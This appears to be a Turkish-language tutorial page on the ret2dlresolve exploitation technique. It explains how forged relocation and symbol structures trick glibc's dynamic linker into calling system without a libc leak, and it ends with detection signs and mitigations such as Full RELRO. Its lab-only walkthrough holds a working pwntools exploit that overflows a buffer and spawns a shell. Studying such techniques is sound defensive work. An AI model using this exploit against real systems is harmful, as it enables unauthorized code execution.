Skip to content

ret2dlresolve

_dl_runtime_resolve tarafından tüketilen relocation, symbol ve string yapılarını forge et, böylece dynamic linker'ın kendisi arbitrary bir symbol'ü (örn. system) resolve edip çağırsın — libc leak gerekmez.

Mechanism

Neden çalışır

Lazy binding altında, bir PLT stub'ına ilk çağrı gerçek fonksiyona atlamaz. Bunun yerine PLT[0], link_map'i (GOT[1]'den) ve bir relocation index'ini (reloc_arg) push eder, sonra _dl_runtime_resolve(link_map, reloc_arg)'a transfer eder. Resolver, reloc_arg'ı relocation table'a bir index olarak ele alır ve tamamen convention-gereği read-only section'lardaki data ile tanımlanan bir pointer zincirini takip eder:

reloc_arg * sizeof(Elf_Rel) + JMPREL  ->  Elf_Rel { r_offset, r_info }
(r_info >> shift)           * sizeof(Elf_Sym) + SYMTAB  ->  Elf_Sym { st_name, ... }
st_name                     + STRTAB  ->  "system\0"

i386'da JMPREL (.rel.plt), r_info = (sym_index << 8) | type olan 8-byte'lık Elf32_Rel tutar; x86-64'te .rela.plt, r_info = (sym_index << 32) | type (type = R_X86_64_JUMP_SLOT = 7) olan 24-byte'lık Elf64_Rela tutar. Attacker'ların istismar ettiği invariant: _dl_runtime_resolve, reloc_arg'a onu bounds-check etmeden güvenir. Büyük bir reloc_arg ver ki reloc_arg * sizeof(Elf_Rel) + JMPREL, attacker-controlled belleğe (tipik olarak .bss) insin. Orada sahte bir Elf_Rel, sahte bir Elf_Sym ve "system" string'ini hazırlarsın. Linker, forge edilmiş symbol'ünü itaatle "resolve" eder ve çağırır — ASLR'ı hiçbir adres leak'i olmadan atlatır, çünkü kullanılan her pointer no-PIE bir binary'de sabit bir file offset'idir.

Walkthrough

Yalnızca lab

Sahibi olduğun bir binary kullan. Klasik hedef: 32-bit, no-PIE, NX-on, Partial RELRO, bir buffer overflow ve sahte yapıları bilinen yazılabilir bir adrese yazmanın bir yolu (genelde bir read) ile.

1. Resolver'ın dolaşacağı linker table'larını incele:

$ readelf -d ./vuln | grep -E 'JMPREL|SYMTAB|STRTAB'
 0x00000017 (JMPREL)    0x80482a8
 0x00000006 (SYMTAB)    0x80481cc
 0x00000005 (STRTAB)    0x804823c
$ objdump -d -j .plt ./vuln | head    # PLT[0] pushes GOT[1] then jmps *GOT[2]

2. Yapıları pwntools forge etsin. Ret2dlresolvePayload, symbol ve argümanları verildiğinde sahte Elf_Rel/Elf_Sym/string blob'unu ve hazırlanmış reloc_arg'ı hesaplar:

from pwn import *

context.binary = elf = ELF('./vuln')
rop = ROP(elf)

dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh'])

rop.read(0, dlresolve.data_addr)   # stage fake structs into known memory
rop.ret2dlresolve(dlresolve)       # jump into PLT[0] with forged reloc_arg
print(rop.dump())

3. Overflow + yapıları teslim et. dlresolve.payload forge edilmiş table blob'udur; rop.chain() önce read'i sonra resolver'ı süren stack'tir:

raw_rop = rop.chain()
p = elf.process()

# overflow buffer (offset 64), then the ROP chain, then the fake structs
p.sendline(fit({
    64: raw_rop,
    200: dlresolve.payload,
}))
p.recvline()
p.interactive()                    # => system("/bin/sh")
Ret2dlresolvePayload neyi inşa eder (32-bit, kavramsal)

# Fake Elf32_Rel at data_addr:
fake_rel  = p32(elf.got['read'])           # r_offset (where result is stored)
fake_rel += p32((sym_index << 8) | 0x7)    # r_info: sym_index + R_386_JMP_SLOT

# Fake Elf32_Sym, aligned to SYMTAB stride:
fake_sym  = p32(name_offset)               # st_name -> "system\0" in fake strtab
fake_sym += p32(0)                         # st_value
fake_sym += p32(0)                         # st_size
fake_sym += p8(0x12) + p8(0) + p16(0)      # st_info=GLOBAL/FUNC, st_other=0

# reloc_arg chosen so reloc_arg*8 + JMPREL == &fake_rel
pwntools, alignment'i, (reloc_arg) aritmetiğini ve "system" string yerleşimini halleder; elle yapmak temelde sizeof(Elf_Rel)/sizeof(Elf_Sym) stride'larını eşleştirme alıştırmasıdır. st_other 0 olmalı yoksa resolver symbol'ü reddeder.

Detection

  • Binary'nin gerçek relocation sayısından çok daha büyük bir reloc_arg ya da Elf_Rel/Elf_Sym'i read-only linker section'ları yerine .bss'te olan bir resolution, imzadır.
  • Daha yeni glibc (2.35 sonrası civarı), reloc_arg / version index üzerine bounds check'leri ekledi ve o build'lerde naif large-index formunu kırdı.

Mitigation

  • Full RELRO, lazy binding'i tamamen devre dışı bırakır (BIND_NOW): GOT startup'ta resolve edilip read-only yapılır, böylece _dl_runtime_resolve runtime'da bir PLT stub'ından asla erişilemez — kesin çözüm. (ld -z now veya gcc -Wl,-z,now; startup'taki tüm relocation'lar eager resolve edilir, ardından .got.plt mprotect ile read-only işaretlenir.)
  • ASLR/PIE, tekniğin hardcode ettiği section adreslerini rastgeleleştirir ve gerekli bir leak ekler.
  • reloc_arg'ın glibc bounds-check'i out-of-range index'i bloklar.
  • Chain'i başlatan stack-buffer-overflow'u ortadan kaldır.

References